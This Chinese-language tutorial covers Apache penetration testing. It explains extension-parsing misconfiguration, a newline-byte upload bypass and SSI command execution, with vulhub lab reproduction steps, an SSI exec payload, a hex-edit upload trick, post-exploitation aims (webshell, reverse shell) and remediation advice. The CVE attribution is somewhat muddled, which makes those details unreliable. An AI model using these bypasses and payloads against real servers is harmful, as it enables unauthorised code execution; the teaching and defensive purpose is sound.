Apache渗透测试合集
字数 2087 2025-08-09 19:33:17

Apache渗透测试合集教学文档

一、Apache简介与基本原理

1.1 Apache概述

Apache是世界使用排名第一的Web服务器软件,具有以下特点:

  • 跨平台性:可运行在几乎所有广泛使用的计算机平台上
  • 安全性:被广泛使用,是最流行的Web服务器端软件之一
  • 扩展性:可通过简单API扩充,支持Perl/Python等解释器编译到服务器中

1.2 Apache与PHP的协作原理

一次完整的WEB请求流程:从request开始到response结束,是Apache和PHP配合的一次WEB请求。

关键点:

  • Apache本身不支持PHP解析,通过SAPI(Server API)进行通信
  • Apache通过加载php5_module模块来解析PHP文件
  • 配置方式:
    # 加载php5_module模块
    LoadModule php5_module php5apache2_2.dll的路径
    
    # 添加可以执行php的文件类型
    AddType application/x-httpd-php .php
    
    # 或使用FilesMatch方式(Apache 2.4.0~2.4.29默认)
    <FilesMatch \.php$>
      SetHandler application/x-httpd-php
    </FilesMatch>
    
    # 设置默认索引文件
    <IfModule dir_module>
      DirectoryIndex index.html index.html index.php index.phtml
    </IfModule>
    

调用过程概况:HTTP → Apache → php5_module → sapi → php

二、Apache目录结构

  • bin:存放常用命令工具,如httpd
  • cgi-bin:存放Linux下常用命令,如xxx.sh
  • conf:配置相关文件,如httpd.conf
  • error:错误记录
  • htdocs:网站源码存放目录
  • icons:网站图标
  • logs:日志
  • manual:手册
  • modules:扩展模块

三、Apache解析漏洞(CVE-2017-15715)

3.1 漏洞原理

Apache对文件名扩展名的定义存在漏洞,导致可以解析非标准PHP扩展名的文件。

关键点:

  • Apache本身不能解析PHP,是通过PHP模块解析
  • 漏洞利用条件:
    1. 使用module模式与PHP结合(分为mod_php和mod_cgi)
    2. 文件扩展名中至少带有一个.php
    3. 正则表达式配置不当(如缺少$结尾符)

3.2 不同PHP运行模式的影响

  1. module模式(mod_php和mod_cgi):存在未知扩展名解析漏洞
  2. fastcgi模式:不存在此漏洞

3.3 漏洞复现(Kali环境)

  1. 开启Apache服务:

    /etc/init.d/apache2 start
    
  2. Kali下Apache默认网站根目录:/var/www/html

  3. 创建测试文件:

    echo '<?php phpinfo(); ?>' > /var/www/html/2.php.xxx
    
  4. 修改Apache配置(/etc/apache2/mods-enabled/php*.conf):

    <FilesMatch ".+\.ph(ar|p|tml)\.">
      SetHandler application/x-httpd-php
    </FilesMatch>
    

    注意:将$改为\.以允许任意后缀

  5. 重启Apache:

    service apache2 restart
    
  6. 访问http://localhost/2.php.xxx,成功解析PHP代码

四、Apache HTTPD换行解析漏洞

4.1 漏洞原理

上传一个后缀末尾包含换行符的文件(\x0a),可以绕过FilesMatch的正则匹配。

示例:

a001.php\x0a --> a001.php

4.2 影响版本

Apache 2.4.0~2.4.29

4.3 漏洞复现(Ubuntu+Docker环境)

  1. 安装Docker环境:

    sudo apt-get update
    sudo apt install curl
    curl -s https://get.docker.com/ | sh
    sudo apt install python
    curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
    sudo python get-pip.py
    pip install docker-compose
    sudo apt install docker-compose
    
  2. 下载vulhub:

    sudo apt install git
    git clone https://github.com/vulhub/vulhub.git
    
  3. 启动环境:

    cd vulhub/httpd/CVE-2017-15715/
    sudo docker-compose build
    sudo docker-compose up -d
    
  4. 上传测试:

    • 直接上传phpinfo.php会被拦截
    • 抓包修改,在文件名后添加换行符(.php.php\x0a
    • 在Hex视图中将2e(.)改为0a(换行符)
  5. 访问上传的文件:

    http://192.168.175.179:8080/phpinfo.php%0a
    

4.4 原因分析

后台通过黑名单方式过滤php后缀文件,正则表达式$匹配输入字符串的结尾位置。当设置了RegExp对象的Multiline属性时,也会匹配\n\r

五、Apache SSI远程命令执行漏洞

5.1 漏洞概述

  • 影响版本:所有支持SSI的Apache版本
  • 漏洞危害:可绕过服务器策略,上传webshell或执行系统命令

5.2 SSI简介

SSI(Server Side Includes)是放置在HTML页面中的指令,可以将动态生成的内容添加到现有HTML页面中,而无需通过CGI程序或其他动态技术提供整个页面。

5.3 漏洞利用

  1. 创建包含SSI指令的文件(如a001.shtml):

    <pre><!-- #exec cmd="whoami" --></pre>
    
  2. 上传并访问该文件,将执行系统命令

5.4 漏洞复现

  1. 使用vulhub启动环境:

    sudo docker-compose up -d
    
  2. 上传包含SSI指令的文件

  3. 访问该文件即可执行命令

5.5 利用思路

  • 上传webshell
  • 获取反弹shell
  • 执行系统命令获取敏感信息

六、修复建议

6.1 针对解析漏洞

  1. 升级到最新版本Apache
  2. 修改上传文件命名策略,如使用"时间戳+随机数+.jpg"格式
  3. 禁用上传文件目录的执行脚本权限

6.2 针对SSI漏洞

  1. 如不需要SSI功能,完全禁用SSI
  2. 严格限制可执行SSI的目录
  3. 对用户上传内容进行严格过滤

6.3 通用建议

  1. 定期更新Apache到最新稳定版本
  2. 审查配置文件,确保安全设置正确
  3. 限制文件上传功能,特别是可执行文件的上传
  4. 实施严格的输入验证和输出编码

七、总结

本文详细介绍了Apache服务器的三种常见安全漏洞:

  1. 解析漏洞(CVE-2017-15715):利用文件扩展名处理不当执行PHP代码
  2. 换行解析漏洞:通过添加换行符绕过安全限制
  3. SSI远程命令执行:利用SSI功能执行系统命令

理解这些漏洞的原理和利用方式,有助于安全人员更好地防御Apache服务器的安全风险。在实际环境中,应结合业务需求和安全最佳实践,采取适当的防护措施。

Apache渗透测试合集教学文档 一、Apache简介与基本原理 1.1 Apache概述 Apache是世界使用排名第一的Web服务器软件,具有以下特点: 跨平台性:可运行在几乎所有广泛使用的计算机平台上 安全性:被广泛使用,是最流行的Web服务器端软件之一 扩展性:可通过简单API扩充,支持Perl/Python等解释器编译到服务器中 1.2 Apache与PHP的协作原理 一次完整的WEB请求流程:从request开始到response结束,是Apache和PHP配合的一次WEB请求。 关键点: Apache本身不支持PHP解析,通过SAPI(Server API)进行通信 Apache通过加载php5_ module模块来解析PHP文件 配置方式: 调用过程概况:HTTP → Apache → php5_ module → sapi → php 二、Apache目录结构 bin:存放常用命令工具,如httpd cgi-bin:存放Linux下常用命令,如xxx.sh conf:配置相关文件,如httpd.conf error:错误记录 htdocs:网站源码存放目录 icons:网站图标 logs:日志 manual:手册 modules:扩展模块 三、Apache解析漏洞(CVE-2017-15715) 3.1 漏洞原理 Apache对文件名扩展名的定义存在漏洞,导致可以解析非标准PHP扩展名的文件。 关键点: Apache本身不能解析PHP,是通过PHP模块解析 漏洞利用条件: 使用module模式与PHP结合(分为mod_ php和mod_ cgi) 文件扩展名中至少带有一个 .php 正则表达式配置不当(如缺少 $ 结尾符) 3.2 不同PHP运行模式的影响 module模式(mod_ php和mod_ cgi):存在未知扩展名解析漏洞 fastcgi模式:不存在此漏洞 3.3 漏洞复现(Kali环境) 开启Apache服务: Kali下Apache默认网站根目录: /var/www/html 创建测试文件: 修改Apache配置( /etc/apache2/mods-enabled/php*.conf ): 注意:将 $ 改为 \. 以允许任意后缀 重启Apache: 访问 http://localhost/2.php.xxx ,成功解析PHP代码 四、Apache HTTPD换行解析漏洞 4.1 漏洞原理 上传一个后缀末尾包含换行符的文件( \x0a ),可以绕过FilesMatch的正则匹配。 示例: 4.2 影响版本 Apache 2.4.0~2.4.29 4.3 漏洞复现(Ubuntu+Docker环境) 安装Docker环境: 下载vulhub: 启动环境: 上传测试: 直接上传phpinfo.php会被拦截 抓包修改,在文件名后添加换行符( .php → .php\x0a ) 在Hex视图中将 2e (.)改为 0a (换行符) 访问上传的文件: 4.4 原因分析 后台通过黑名单方式过滤php后缀文件,正则表达式 $ 匹配输入字符串的结尾位置。当设置了RegExp对象的Multiline属性时,也会匹配 \n 或 \r 。 五、Apache SSI远程命令执行漏洞 5.1 漏洞概述 影响版本:所有支持SSI的Apache版本 漏洞危害:可绕过服务器策略,上传webshell或执行系统命令 5.2 SSI简介 SSI(Server Side Includes)是放置在HTML页面中的指令,可以将动态生成的内容添加到现有HTML页面中,而无需通过CGI程序或其他动态技术提供整个页面。 5.3 漏洞利用 创建包含SSI指令的文件(如a001.shtml): 上传并访问该文件,将执行系统命令 5.4 漏洞复现 使用vulhub启动环境: 上传包含SSI指令的文件 访问该文件即可执行命令 5.5 利用思路 上传webshell 获取反弹shell 执行系统命令获取敏感信息 六、修复建议 6.1 针对解析漏洞 升级到最新版本Apache 修改上传文件命名策略,如使用"时间戳+随机数+.jpg"格式 禁用上传文件目录的执行脚本权限 6.2 针对SSI漏洞 如不需要SSI功能,完全禁用SSI 严格限制可执行SSI的目录 对用户上传内容进行严格过滤 6.3 通用建议 定期更新Apache到最新稳定版本 审查配置文件,确保安全设置正确 限制文件上传功能,特别是可执行文件的上传 实施严格的输入验证和输出编码 七、总结 本文详细介绍了Apache服务器的三种常见安全漏洞: 解析漏洞(CVE-2017-15715):利用文件扩展名处理不当执行PHP代码 换行解析漏洞:通过添加换行符绕过安全限制 SSI远程命令执行:利用SSI功能执行系统命令 理解这些漏洞的原理和利用方式,有助于安全人员更好地防御Apache服务器的安全风险。在实际环境中,应结合业务需求和安全最佳实践,采取适当的防护措施。